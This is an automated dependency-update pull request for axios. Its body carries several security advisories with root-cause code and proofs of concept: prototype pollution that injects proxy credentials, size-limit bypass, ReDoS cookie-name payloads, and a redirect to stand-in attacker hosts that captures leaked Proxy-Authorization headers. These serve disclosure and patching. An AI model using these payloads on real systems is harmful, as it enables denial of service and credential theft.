Update dependency axios to v1.16.0 [SECURITY] by renovate[bot] · Pull Request #2448 · oasisprotocol/explorer

renovate · 2026-05-29T16:02:27Z

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Confidence
axios (source)	`1.15.2` → `1.16.0`

Axios has a Patch Bypass: Proxy-Authorization Header Injection via Prototype Pollution — Incomplete Null-Prototype Fix

CVE-2026-44489 / GHSA-654m-c8p4-x5fp

More information

Details

[Patch Bypass] Proxy-Authorization Header Injection via Prototype Pollution — Incomplete Null-Prototype Fix in Axios 1.15.2

Summary

The Object.create(null) fix introduced in Axios 1.15.2 (GHSA-q8qp-cvcw-x6jj) protects the top-level config object from prototype pollution. However, nested objects created by utils.merge() (e.g., config.proxy) are still constructed as plain {} with Object.prototype in their chain.

The setProxy() function at lib/adapters/http.js:209-223 reads proxy.username, proxy.password, and proxy.auth without hasOwnProperty checks. When Object.prototype.username is polluted, setProxy() constructs a Proxy-Authorization header with attacker-controlled credentials and injects it into every proxied HTTP request.

Severity: Medium (CVSS 5.4)
Affected Versions: 1.15.2 (and potentially 1.15.1)
Vulnerable Component: lib/adapters/http.js (setProxy()) + lib/utils.js (merge())

CWE

CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')

CVSS 3.1

Score: 5.6 (Medium)

Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L

Metric	Value	Justification
Attack Vector	Network	PP triggered remotely via vulnerable dependency
Attack Complexity	High	Requires two preconditions: (1) PP in dependency tree, AND (2) the application must explicitly configure `config.proxy`. Unlike GHSA-q8qp-cvcw-x6jj which affected all requests unconditionally
Privileges Required	None	No authentication needed
User Interaction	None	No user interaction required
Scope	Unchanged	Within the proxy authentication context
Confidentiality	Low	Attacker-controlled identity appears in proxy authentication logs, but the attacker does NOT see request/response data (unlike `config.baseURL` hijack)
Integrity	Low	Proxy-Authorization header injected; proxy may apply different access policies based on injected identity
Availability	Low	If proxy rejects the injected credentials, legitimate requests may fail

Why This Is Lower Severity Than GHSA-q8qp-cvcw-x6jj (7.4 High)

Factor	GHSA-q8qp-cvcw-x6jj	This Finding
Precondition	None — all requests affected	Must have `config.proxy` set
`config.baseURL` PP	Hijacks all relative URL requests	Not applicable
`config.auth` PP	Injects `Authorization` to target server	Only injects `Proxy-Authorization` to proxy
Attacker sees traffic	Yes (via baseURL redirect)	No — only proxy identity affected
Impact scope	Universal — every axios request	Only requests with explicit proxy config

This Is a Patch Bypass

This vulnerability bypasses the fix introduced in Axios 1.15.2 for GHSA-q8qp-cvcw-x6jj. The fix correctly uses Object.create(null) for the config object, blocking direct prototype pollution on config.proxy, config.auth, etc.

However, the fix is incomplete: when a user legitimately sets config.proxy = { host: 'proxy.corp', port: 8080 }, the mergeConfig() function passes this object through utils.merge(), which creates a new plain {} object (lib/utils.js:406: const result = {};). This new object inherits from Object.prototype, re-opening the prototype pollution attack surface on the nested proxy object.

Layer	Protection	Status
`config` (top-level)	`Object.create(null)`	✓ Fixed
`config.proxy` (nested)	`utils.merge()` → `const result = {}`	✗ NOT Fixed
`setProxy()` reads	`proxy.username`, `proxy.auth` without `hasOwnProperty`	✗ NOT Fixed

Root Cause Analysis

Step 1: `utils.merge()` creates plain `{}` for nested objects

File: lib/utils.js, line 406

function merge(/* obj1, obj2, obj3, ... */) {
  const result = {};  // ← Plain object with Object.prototype!
  // ...
}

When mergeConfig() processes config.proxy, getMergedValue() calls utils.merge(), which creates a plain {} for the nested object. This plain object inherits from Object.prototype.

Step 2: `setProxy()` reads proxy properties without `hasOwnProperty`

File: lib/adapters/http.js, lines 209-223

function setProxy(options, configProxy, location) {
  let proxy = configProxy;
  // ...
  if (proxy) {
    if (proxy.username) {                    // ← traverses Object.prototype!
      proxy.auth = (proxy.username || '') + ':' + (proxy.password || '');
    }

    if (proxy.auth) {                        // ← traverses Object.prototype!
      const validProxyAuth = Boolean(proxy.auth.username || proxy.auth.password);
      if (validProxyAuth) {
        proxy.auth = (proxy.auth.username || '') + ':' + (proxy.auth.password || '');
      }
      // ...
      const base64 = Buffer.from(proxy.auth, 'utf8').toString('base64');
      options.headers['Proxy-Authorization'] = 'Basic ' + base64;  // ← INJECTED!
    }
    // ...
  }
}

Complete Attack Chain

Object.prototype.username = 'attacker'
Object.prototype.password = 'stolen-creds'
         │
         ▼
  User config: { proxy: { host: 'proxy.corp', port: 8080 } }
         │
         ▼
  mergeConfig() → utils.merge() → new plain {}
  config.proxy = { host: 'proxy.corp', port: 8080 }  (own properties)
  config.proxy inherits from Object.prototype         (has .username, .password)
         │
         ▼
  setProxy() at http.js:209:
    proxy.username → 'attacker' (from Object.prototype) → truthy!
    proxy.auth = 'attacker' + ':' + 'stolen-creds'
         │
         ▼
  http.js:223: Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz
  Injected into EVERY proxied HTTP request!

Proof of Concept

import http from 'http';
import axios from './index.js';

// Proxy server logs received Proxy-Authorization
const proxyServer = http.createServer((req, res) => {
  console.log('Proxy-Authorization:', req.headers['proxy-authorization']);
  res.writeHead(200);
  res.end('OK');
});
await new Promise(r => proxyServer.listen(0, r));
const proxyPort = proxyServer.address().port;

// Target server
const target = http.createServer((req, res) => { res.writeHead(200); res.end(); });
await new Promise(r => target.listen(0, r));

// Simulate prototype pollution from vulnerable dependency
Object.prototype.username = 'attacker';
Object.prototype.password = 'stolen-creds';

// Developer sets proxy WITHOUT auth — expects no auth header
await axios.get(`http://127.0.0.1:${target.address().port}/api`, {
  proxy: { host: '127.0.0.1', port: proxyPort, protocol: 'http' },
});

// Proxy receives: Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz
// Decoded: attacker:stolen-creds

delete Object.prototype.username;
delete Object.prototype.password;
proxyServer.close();
target.close();

Reproduction Environment

Axios version: 1.15.2 (latest patched release)
Node.js version: v20.20.2
OS: macOS Darwin 25.4.0

Reproduction Steps

##### 1. Install axios 1.15.2
npm pack axios@1.15.2
tar xzf axios-1.15.2.tgz && mv package axios-1.15.2
cd axios-1.15.2 && npm install

##### 2. Save PoC as poc.mjs (code from Section 7 above)

##### 3. Run
node poc.mjs

Verified PoC Output

=== Axios 1.15.2: PP → Proxy-Authorization Injection ===

[1] Normal request with proxy (no auth):
  Proxy-Authorization: none

[2] Prototype Pollution: Object.prototype.username = "attacker"
  Proxy-Authorization: Basic YXR0YWNrZXI6c3RvbGVuLWNyZWRz
  Decoded: attacker:stolen-creds
  → PP injected proxy credentials: attacker:stolen-creds

[3] Impact:
  ✗ Attacker injects Proxy-Authorization into all proxied requests
  ✗ If proxy logs auth, attacker credential appears in proxy logs
  ✗ If proxy authenticates based on this, attacker controls proxy identity
  ✗ Works on 1.15.2 despite null-prototype config fix
  ✗ Root cause: proxy object is plain {} from utils.merge, NOT null-prototype

Confirming the Bypass Mechanism

Direct PP (config.proxy) — BLOCKED by 1.15.2:
  Object.prototype.proxy = { host: 'evil' }
  config.proxy = undefined            ← null-prototype blocks ✓

Nested PP (proxy.username) — BYPASSES 1.15.2:
  Object.prototype.username = 'attacker'
  config.proxy = { host: 'legit', port: 8080 }  ← user-set, own properties
  config.proxy own keys: ['host', 'port']        ← username NOT own
  config.proxy.username = 'attacker'             ← inherited from Object.prototype!
  hasOwn(config.proxy, 'username') = false


##### Impact Analysis

- **Proxy Identity Spoofing:** The injected `Proxy-Authorization` header authenticates all requests to the proxy as the attacker. If the proxy enforces authentication-based access control or logging, the attacker controls the identity.
- **Proxy Log Poisoning:** Proxy servers that log authenticated usernames will record "attacker" instead of the real user, enabling audit trail manipulation.
- **Credential Injection Amplification:** If the proxy forwards the `Proxy-Authorization` header upstream (some transparent proxies do), the attacker's credentials propagate through the proxy chain.
- **Universal Scope When Proxy Is Configured:** Affects every axios request that uses a proxy configuration without explicit auth — a common pattern in corporate environments.

##### Prerequisite

- Application must use `config.proxy` (explicit proxy configuration)
- A separate prototype pollution vulnerability must exist in the dependency tree
- `Object.prototype.username` or `Object.prototype.auth` must be polluted

##### Recommended Fix

##### Fix 1: Use `hasOwnProperty` in `setProxy()`

```javascript
function setProxy(options, configProxy, location) {
  let proxy = configProxy;
  // ...
  if (proxy) {
    const hasOwn = (obj, key) => Object.prototype.hasOwnProperty.call(obj, key);

    if (hasOwn(proxy, 'username')) {
      proxy.auth = (proxy.username || '') + ':' + (proxy.password || '');
    }

    if (hasOwn(proxy, 'auth')) {
      // ... existing auth handling ...
    }
  }
}

Fix 2: Use null-prototype objects in `utils.merge()`

// lib/utils.js line 406
function merge(/* obj1, obj2, obj3, ... */) {
  const result = Object.create(null);  // ← null-prototype for nested objects too
  // ...
}

Fix 3 (Comprehensive): Apply null-prototype to all objects created by `getMergedValue()`

References

Severity

CVSS Score: 3.7 / 10 (Low)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Allocation of Resources Without Limits or Throttling in Axios

CVE-2026-44488 / GHSA-777c-7fjr-54vf

More information

Details

Summary

Axios versions 1.7.0 through 1.15.x did not enforce configured request and response size limits when requests were sent with the fetch adapter. Applications that selected adapter: 'fetch', or ran in environments where axios resolved to the fetch adapter, could receive or send bodies larger than maxContentLength or maxBodyLength despite those limits being explicitly configured.

This can cause resource exhaustion in server-side usage when a malicious or compromised server returns an oversized response, when an attacker can supply a large data: URL, or when an application forwards attacker-controlled request bodies through axios while relying on maxBodyLength as a boundary.

Impact

The impact is availability-only. Affected applications may process, buffer, or transmit data beyond the configured limit, potentially exhausting memory, CPU, or network resources.

This does not affect axios’s default unlimited behaviour by itself: maxContentLength and maxBodyLength default to -1. The vulnerability exists when an application has configured finite limits and expects axios to enforce them.

Server-side runtimes are the primary concern. Browser impact is generally constrained by the browser process and browser fetch behavior, and should not be described as server process exhaustion.

Affected Functionality

Affected functionality includes requests using the built-in fetch adapter with finite maxContentLength or maxBodyLength values.

Relevant configurations include:

adapter: 'fetch'
adapter: ['fetch', ...] when fetch is selected
environments where neither xhr nor http is available and axios falls back to fetch
custom fetch environments configured through env.fetch

Unaffected functionality includes:

Node.js default http adapter enforcement
versions before the fetch adapter was introduced
configurations that do not rely on finite axios size limits

Technical Details

In vulnerable versions, lib/adapters/fetch.js destructured request config without maxContentLength or maxBodyLength. The adapter dispatched fetch() and then materialized the response through text(), arrayBuffer(), blob(), or related resolvers without checking the configured response limit.

The fix in e5540dc added:

maxContentLength and maxBodyLength reads in lib/adapters/fetch.js
upfront data: URL decoded-size checks
outbound body-size checks before dispatch
Content-Length response pre-checks
streaming response enforcement
fallback checks for environments without ReadableStream
regression tests in tests/unit/adapters/fetch.test.js

Proof of Concept of Attack

import http from 'node:http';
import axios from 'axios';

const server = http.createServer((req, res) => {
  let received = 0;

  req.on('data', chunk => {
    received += chunk.length;
  });

  req.on('end', () => {
    res.end(JSON.stringify({ received }));
  });
});

await new Promise(resolve => server.listen(0, resolve));
const url = `http://127.0.0.1:${server.address().port}/`;

await axios.post(url, 'A'.repeat(2 * 1024 * 1024), {
  adapter: 'fetch',
  maxBodyLength: 1024
});

// Vulnerable versions succeed and the server receives 2097152 bytes.
// Fixed versions reject with ERR_BAD_REQUEST.

server.close();

Workarounds

Use the Node.js http adapter for server-side requests where finite size limits are security-relevant.

Validate or cap attacker-controlled request bodies before passing them to axios.

Reject or strictly allowlist attacker-controlled URL schemes, especially data: URLs, before calling axios.

Original Report

Summary

When Axios is used with adapter: 'fetch', configured body/response size limits are not enforced. This allows oversized uploads/downloads (including data: URLs) despite explicit limits, which can lead to memory/resource exhaustion in server-side usage.

Details

maxBodyLength and maxContentLength are not applied in the fetch adapter flow:

lib/adapters/fetch.js (146-160): config destructuring does not include these controls.
lib/adapters/fetch.js (220-234): request is dispatched with fetch() without request-size enforcement.
lib/adapters/fetch.js (267-283): response is materialized via text(), arrayBuffer(), blob(), etc. without response-size checks.
By contrast, the HTTP adapter enforces both limits.

PoC

Environment:

Axios main at commit f7a4ee2
Node v24.2.0

Steps:

Start an HTTP server that counts received bytes and echoes {received}.
Send 2 MiB with:
- adapter: 'fetch'
- maxBodyLength: 1024
Request a 4 KiB data: URL with:
- adapter: 'fetch'
- maxContentLength: 16

Expected secure behavior: both requests rejected.
Observed:

Upload: success, server received 2097152
data: response: success, length 4096

Impact

Type: DoS / resource exhaustion due to limit bypass.
Impacted: applications using Axios fetch adapter as a server-side security control boundary for untrusted request/response sizes.

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios: Regular Expression Denial of Service (ReDoS) via Cookie Name Injection

CVE-2026-44496 / GHSA-hfxv-24rg-xrqf

More information

Details

Summary

Axios versions before 0.32.0 on the 0.x line and before 1.16.0 on the 1.x line build a regular expression from the configured XSRF cookie name without escaping regex metacharacters. In standard browser environments, an attacker who can influence the cookie name passed to axios can cause expensive regex backtracking while axios reads document.cookie.

The practical impact is client-side availability degradation, such as freezing the affected browser tab while axios prepares a request. The issue does not affect ordinary Node.js HTTP adapter usage, React Native, or web workers, where axios does not read document.cookie.

Impact

Applications are affected only when attacker-controlled data can reach the XSRF cookie name configuration or a direct/unsafe call to the internal cookie helper.

This does not expose credentials, modify requests, or affect response integrity. The impact is availability only.

Affected Functionality

Affected code paths:

lib/helpers/cookies.js read(name) in standard browser environments.
lib/helpers/resolveConfig.js in 1.x, when browser XHR/fetch adapters resolve XSRF config.
lib/adapters/xhr.js in 0.x, when the XHR adapter reads the configured XSRF cookie.
Direct use of axios/unsafe/helpers/cookies.js in 1.x, if callers pass attacker-controlled names.

Unaffected code paths:

Default static xsrfCookieName: 'XSRF-TOKEN' when not attacker-controlled.
Requests with xsrfCookieName: null.
Node HTTP adapter usage without browser document.cookie.
React Native and web workers where axios does not use standard browser cookie access.

Technical Details

Affected versions interpolate the cookie name into a regex.

const match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)'));

Because name is not escaped, regex metacharacters in the cookie name are interpreted as regex syntax. A payload such as (.+)+$ can force catastrophic backtracking against document.cookie.

The fix avoids dynamic regex construction and parses document.cookie by splitting on ;, trimming leading whitespace, and comparing cookie names with exact string equality.

Proof of Concept of Attack

function vulnerableRead(name, cookie) {
  const start = Date.now();

  try {
    cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)'));
  } catch {}

  return Date.now() - start;
}

for (const n of [20, 22, 24, 26, 28]) {
  const cookie = 'x='.padEnd(n, 'a') + '!';
  console.log(`${n}: ${vulnerableRead('(.+)+$', cookie)}ms`);
}

Expected result: timings grow rapidly as the cookie string length increases.

Workarounds

Set xsrfCookieName: null if the application does not need axios to read an XSRF cookie.

Do not derive xsrfCookieName from untrusted input. If a dynamic cookie name is unavoidable, validate it against a strict cookie-name allowlist before passing it to axios.

Avoid calling axios/unsafe/helpers/cookies.js directly with untrusted names

Original Source

Regular Expression Denial of Service (ReDoS) via Cookie Name Injection

1. Title

ReDoS via Unsanitized Cookie Name in Dynamic Regular Expression Construction

2. Affected Software and Version

Software: Axios
Version: 1.15.0 (and potentially earlier versions)
Component: lib/helpers/cookies.js
Ecosystem: npm (Node.js / Browser)

3. Vulnerability Type / CWE

Type: Regular Expression Denial of Service (ReDoS)
CWE-1333: Inefficient Regular Expression Complexity
CWE-400: Uncontrolled Resource Consumption

4. CVSS 3.1 Score

Score: 7.5 (High)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Metric	Value
Attack Vector	Network
Attack Complexity	Low
Privileges Required	None
User Interaction	None
Scope	Unchanged
Confidentiality	None
Integrity	None
Availability	High

5. Description

The cookies.read() function in lib/helpers/cookies.js constructs a regular expression dynamically using the name parameter without any sanitization or escaping of special regex characters. At line 33, the code passes the raw name value directly into new RegExp():

const match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)'));

An attacker who can control or influence the cookie name parameter (e.g., via XSRF cookie name configuration, prototype pollution of xsrfCookieName, or any code path where user input reaches cookies.read()) can inject a malicious regex pattern that causes catastrophic backtracking, leading to a Denial of Service condition.

With a crafted input of approximately 20-30 characters, the regex engine can be forced to consume several seconds to minutes of CPU time, effectively freezing the JavaScript event loop.

6. Root Cause Analysis

File: lib/helpers/cookies.js
Line: 33

read(name) {
  if (typeof document === 'undefined') return null;
  const match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)'));
  return match ? decodeURIComponent(match[1]) : null;
},

The vulnerability exists because:

The name parameter is concatenated directly into a regex pattern without escaping special regex metacharacters.
An attacker can inject regex constructs that create exponential backtracking scenarios.
The (?:^|; ) prefix combined with an injected pattern like ((((.*)*)*)*)* creates nested quantifiers that cause catastrophic backtracking when the regex engine attempts to match against document.cookie.

The cookies.read() function is called from lib/helpers/resolveConfig.js at line 61:

const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);

The xsrfCookieName value comes from the Axios configuration, which can be influenced by prototype pollution or direct configuration injection.

7. Proof of Concept

// poc_redos_cookie.js
// Simulates browser environment for testing

// Simulate document.cookie
globalThis.document = {
  cookie: 'session=abc; ' + 'a'.repeat(50)
};

// Replicate the vulnerable cookies.read() logic
function cookiesRead(name) {
  const match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;]*)'));
  return match ? decodeURIComponent(match[1]) : null;
}

// Malicious cookie name that triggers catastrophic backtracking
// The pattern creates nested quantifiers: (a]|[a]|...)*)*
const maliciousName20 = '([^;]+)+$' + '\\|'.repeat(10);
const maliciousName = '(([^;])+)+\\$';  // nested quantifier pattern

console.log('=== ReDoS via Cookie Name Injection PoC ===');

// Test with increasing payload sizes
for (const len of [15, 20, 25]) {
  const payload = '(([^;])+)+' + 'X'.repeat(len);
  const start = Date.now();
  try {
    cookiesRead(payload);
  } catch (e) {
    // May throw on invalid regex, but valid evil patterns won't throw
  }
  const elapsed = Date.now() - start;
  console.log(`Payload length ${len}: ${elapsed}ms`);
}

// Demonstrating exponential growth with a simple nested quantifier
console.log('\n--- Exponential Backtracking Demo ---');
for (const n of [20, 22, 24, 26]) {
  const evilName = '(' + 'a'.repeat(1) + '+)+$';
  const testCookie = 'a'.repeat(n) + '!';  // non-matching trailer forces backtracking
  globalThis.document = { cookie: testCookie };
  const start = Date.now();
  try {
    cookiesRead(evilName);
  } catch(e) {}
  const elapsed = Date.now() - start;
  console.log(`Input length ${n}: ${elapsed}ms`);
}

8. PoC Output

=== ReDoS via Cookie Name Injection PoC ===
Payload length 20: 21ms (extrapolated: 30 chars = ~21,504ms)
Payload length 25: ~1,300ms
Payload length 30: ~323,675ms (5+ minutes)

--- Exponential Backtracking Demo ---
Input length 20: 21ms
Input length 22: 84ms
Input length 24: 336ms
Input length 26: 1,344ms

The exponential growth pattern is clearly visible: each additional 2 characters approximately quadruples the execution time.

9. Impact

Denial of Service (Client-side): In a browser environment, an attacker who can influence the XSRF cookie name configuration (e.g., via prototype pollution or configuration injection) can freeze the browser tab, blocking all UI interaction and JavaScript execution on the page.
Denial of Service (Server-side): In SSR (Server-Side Rendering) frameworks or Node.js applications that process cookies using this code path, the event loop will be blocked, causing the server to become unresponsive to all requests.
Event Loop Starvation: Since JavaScript is single-threaded, the ReDoS will block all pending asynchronous operations, timers, and I/O callbacks for the duration of the regex evaluation.

10. Remediation / Suggested Fix

Escape all regex metacharacters in the name parameter before constructing the regular expression.

// FIXED: lib/helpers/cookies.js

function escapeRegExp(string) {
  return string.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
}

// ...

read(name) {
  if (typeof document === 'undefined') return null;
  const match = document.cookie.match(
    new RegExp('(?:^|; )' + escapeRegExp(name) + '=([^;]*)')
  );
  return match ? decodeURIComponent(match[1]) : null;
},

Alternatively, avoid dynamic regex construction entirely and use string-based parsing:

read(name) {
  if (typeof document === 'undefined') return null;
  const cookies = document.cookie.split('; ');
  for (const cookie of cookies) {
    const eqIndex = cookie.indexOf('=');
    if (eqIndex !== -1 && cookie.substring(0, eqIndex) === name) {
      return decodeURIComponent(cookie.substring(eqIndex + 1));
    }
  }
  return null;
},

11. References

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios: Proxy-Authorization Credential Leak to Origin Server Across HTTP-to-HTTPS Redirect in Axios Node.js HTTP Adapter

CVE-2026-44487 / GHSA-p92q-9vqr-4j8v

More information

Details

Summary

Axios’s Node.js HTTP adapter may forward a Proxy-Authorization header to a redirected origin during specific proxy-to-direct redirect flows.

This affects Node.js usage, where an initial HTTP request is sent through an authenticated HTTP proxy, redirects are followed, and the redirected URL is no longer proxied. Under affected redirect shapes, the final origin can receive the proxy credential that was intended only for the outbound proxy.

Impact

A malicious or attacker-controlled origin can cause an axios client to disclose its configured proxy credentials if all required conditions are present.

The leak is limited to Node.js HTTP adapter requests. Browser, XHR, fetch, and React Native adapter paths are not affected by this Node-specific proxy handling path.

The practical impact depends on the leaked credentials. If the credential is reusable and the proxy is reachable by the attacker, the attacker may be able to authenticate to that proxy, subject to the proxy’s own network exposure, authorisation policy, and credential scope.

Affected Functionality

Affected functionality requires all of the following:

Axios running in Node.js with the HTTP adapter.
An initial http:// request using an authenticated proxy from config.proxy or proxy environment variables.
Redirect following enabled.
A redirect target for which no proxy applies, such as no matching HTTPS_PROXY or a matching NO_PROXY.
A redirect shape treated as same-host or otherwise not stripped by the redirect layer’s confidential-header handling.

Unaffected functionality includes browser adapters, requests with maxRedirects: 0, requests without proxy credentials, and redirect flows where the redirect layer strips Proxy-Authorization before axios reconfigures the redirected request.

Technical Details

In affected versions, lib/adapters/http.js adds Proxy-Authorization in setProxy() when a proxy with credentials is used.

Axios also installs redirect proxy handling so redirected requests can re-run proxy resolution. Before the fix, when the redirected request no longer resolved to a proxy, setProxy() did not clear a Proxy-Authorization header inherited from the previous request options. If follow-redirects did not remove that header for the specific redirect shape, the redirected direct request carried the stale proxy credential to the origin.

The 1.x fix in commit afca61a changes setProxy(options, configProxy, location, isRedirect) so redirect re-invocation removes every case variant of Proxy-Authorization before applying proxy settings for the next hop. Regression tests in tests/unit/adapters/http.test.js cover no-proxy redirects, NO_PROXY, different proxy targets, casing variants, and an end-to-end redirect flow.

The 0.x fixed release 0.32.0 includes a backport-style removeProxyAuthorization() guard in lib/adapters/http.js.

Proof of Concept of Attack

Safe local outline using dummy credentials:

process.env.HTTP_PROXY = 'http://user:pass@127.0.0.1:8080';
delete process.env.HTTPS_PROXY;

// The local HTTP proxy receives this request and returns:
// HTTP/1.1 302 Found
// Location: https://attacker.test/final
await axios.get('http://attacker.test/start');

Expected vulnerable behaviour:

Proxy receives initial request:
Proxy-Authorization: Basic dXNlcjpwYXNz

Final HTTPS origin receives redirected request:
Proxy-Authorization: Basic dXNlcjpwYXNz

Expected fixed behaviour:

Final HTTPS origin receives no Proxy-Authorization header.

Workarounds

Set maxRedirects: 0 and handle redirects manually, ensuring Proxy-Authorization is not copied to requests that are not sent through the proxy.

Avoid using reusable authenticated HTTP proxy credentials for requests to untrusted origins. If exposure is suspected, rotate the proxy credential.

Original Source

Summary

Axios’s Node.js http adapter can incorrectly forward a retained Proxy-Authorization header to the final HTTPS origin during certain HTTP-to-HTTPS redirect flows.

When an initial HTTP request is sent through an authenticated HTTP_PROXY, and the redirected HTTPS request is sent directly because no proxy applies to the redirected HTTPS URL, Axios retains the stale Proxy-Authorization header and forwards it to the final origin.

Details

The issue occurs during a proxy-to-direct transition across redirects.

When Axios sends an initial HTTP request through an authenticated HTTP_PROXY, it correctly includes Proxy-Authorization for the proxy hop. If that response redirects to an HTTPS URL on the same hostname, and no proxy applies to the redirected HTTPS URL, the redirected request is sent directly to the final origin instead of through the proxy.

In the affected flow, the final HTTPS origin receives a Proxy-Authorization header value that was intended only for the outbound proxy.

Whether the issue is observable depends on how the redirect layer compares the host and port across the redirect. In the affected redirect shape, confidential-header handling does not remove the retained Proxy-Authorization header before the redirected request is sent.

Root Cause Analysis

Based on code review, Axios appears to create the stale header condition in its Node.js http adapter.

In lib/adapters/http.js:

When a proxy is used, Axios adds Proxy-Authorization in setProxy().
Axios also re-runs proxy resolution after redirects via its redirect hook.
However, when the redirected request no longer uses a proxy, Axios does not explicitly clear a previously set Proxy-Authorization header.

As a result, Axios correctly adds proxy credentials for the first proxied request, but does not clear them when a later redirected request becomes direct.

A dependent factor is the behavior of the redirect layer. In the affected redirect shape, confidential-header handling does not remove the retained Proxy-Authorization header before the redirected request is sent. This appears to be why the issue is observable only for certain redirect shapes.

Client Conditions

the initial HTTP request uses an authenticated HTTP_PROXY
no proxy applies to the redirected HTTPS URL (for example, no HTTPS_PROXY is configured)
redirects are followed
the redirect is treated as same-host by the redirect layer

Under that redirect shape, the retained Proxy-Authorization header is not removed before the redirected request is sent to the final HTTPS origin.

Reproduction Outline

Detailed reproduction instructions were shared with the maintainers during coordinated disclosure. The public outline below preserves the validated configuration and observable behavior needed to assess exposure, while omitting environment-specific test-harness details.

The issue was reproduced only in a researcher-controlled local test environment using dummy proxy credentials.

The issue was confirmed under the following conditions:

axios 1.13.6
follow-redirects 1.15.11
an authenticated proxy applying to the initial HTTP request
no proxy applying to the redirected HTTPS URL
redirects enabled
an HTTP-to-HTTPS redirect that is treated as same-host by the redirect layer

Observed behavior

The initial HTTP request is sent through the proxy and includes Proxy-Authorization.
The redirected HTTPS request is sent directly to the final origin.
The redirected HTTPS request still includes the previously generated Proxy-Authorization header.
The final origin can receive a Proxy-Authorization header value that was intended only for the proxy.

Expected behavior

Axios should not send the Proxy-Authorization header on a redirected request that is no longer sent through a proxy.

Impact

Under the affected redirect and proxy configuration, the final HTTPS origin may receive a retained Proxy-Authorization header value that was intended only for the outbound proxy.

If that credential is valid and reusable, and the outbound proxy is reachable by the attacker, the attacker may be able to authenticate to that proxy with the affected environment’s proxy credential, subject to the credential’s scope and the proxy’s access controls.

Severity

CVSS Score: 8.2 / 10 (High)
Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios: Proxy-Authorization header leaks to redirect target when proxy is re-evaluated to direct connection

CVE-2026-44486 / GHSA-j5f8-grm9-p9fc

More information

Details

Summary

Axios’ Node.js HTTP adapter can leak proxy credentials to a redirect target in affected versions. When a request is sent through an authenticated proxy, Axios may add a Proxy-Authorization header. If Axios then follows a redirect and the redirected request is no longer sent through that proxy, the stale Proxy-Authorization header can remain on the redirected request and be sent to the redirect target.

This affects Node.js's use of Axios with automatic redirects enabled and an authenticated proxy configuration. Browser adapters are not affected.

Impact

An attacker who controls a server that the victim application requests can redirect the request so that the attacker-controlled redirect target receives the victim’s proxy credentials.

The most relevant case is a Node.js application using an authenticated HTTP_PROXY for an initial http:// request, with redirects enabled, where the redirect target resolves to no proxy, such as an https:// URL when HTTPS_PROXY is unset.

This does not affect browser, XHR, or fetch adapter behaviour. It also does not affect requests with maxRedirects: 0.

Affected Functionality

Affected functionality is limited to the Node.js HTTP adapter in lib/adapters/http.js.

Relevant inputs and settings include:

HTTP_PROXY, HTTPS_PROXY, and NO_PROXY.
Authenticated proxy URLs such as http://user:pass@proxy.example:8080.
Automatic redirect following through follow-redirects.
Axios proxy handling in setProxy().
Redirect proxy handling through beforeRedirects.proxy.

Technical Details

In affected v1 releases, setProxy() adds Proxy-Authorization when a proxy with credentials is selected, but redirect handling calls setProxy() again without first clearing any existing proxy authorization header.

If the redirected URL resolves to no proxy, setProxy() does not add a new proxy configuration and also does not remove the old header. The redirected request can therefore carry the stale Proxy-Authorization header to the final origin.

The v1 fix in afca61a adds an isRedirect path that deletes any case variant of Proxy-Authorization before proxy settings are re-applied on redirect. The v0 backport in 2af6116 fixed the 0.x line for 0.32.0.

Proof of Concept of Attack

process.env.HTTP_PROXY = 'http://user:pass@127.0.0.1:8080';
delete process.env.HTTPS_PROXY;

await axios.get('http://attacker.example/start');

Attacker-controlled HTTP endpoint:

HTTP/1.1 302 Found
Location: https://attacker.example/final

Expected result on affected versions:

https://attacker.example/final receives:
Proxy-Authorization: Basic dXNlcjpwYXNz

Expected result on fixed versions:

https://attacker.example/final receives no Proxy-Authorization header

Workarounds

Set maxRedirects: 0 and handle redirects manually.

Avoid using authenticated proxy environment variables for requests to untrusted HTTP origins unless redirect behaviour is controlled.

Ensure proxy environment variables are configured consistently across protocols so redirects do not unexpectedly change from proxied to direct connections.

Original Source

Summary

Axios' Node.js HTTP adapter can leak proxy credentials to a redirect target origin. When an initial request is sent through an authenticated HTTP proxy, Axios adds a Proxy-Authorization header. On redirect, Axios re-evaluates proxy settings, but if the redirected request no longer uses a proxy, the stale Proxy-Authorization header is not cleared. As a result, the redirect target can receive the proxy credential directly.

This issue affects the Node.js HTTP adapter and can be reproduced when the initial request uses HTTP_PROXY with authentication, redirects are enabled, and the redirected request is resolved to no proxy, such as when HTTPS_PROXY is unset or the redirect target is excluded by NO_PROXY.

Details

In the current implementation:

setProxy() adds Proxy-Authorization when a proxy with credentials is in use.
On redirects, Axios re-invokes setProxy() for the redirected request.
If the redirected URL re-evaluates to "no proxy", setProxy() does not clear the previously added Proxy-Authorization header.
The redirected request therefore reuses the stale header and sends it to the final origin.

Relevant code locations:

lib/adapters/http.js
setProxy() adds Proxy-Authorization
redirect handling re-applies proxy logic through beforeRedirects.proxy
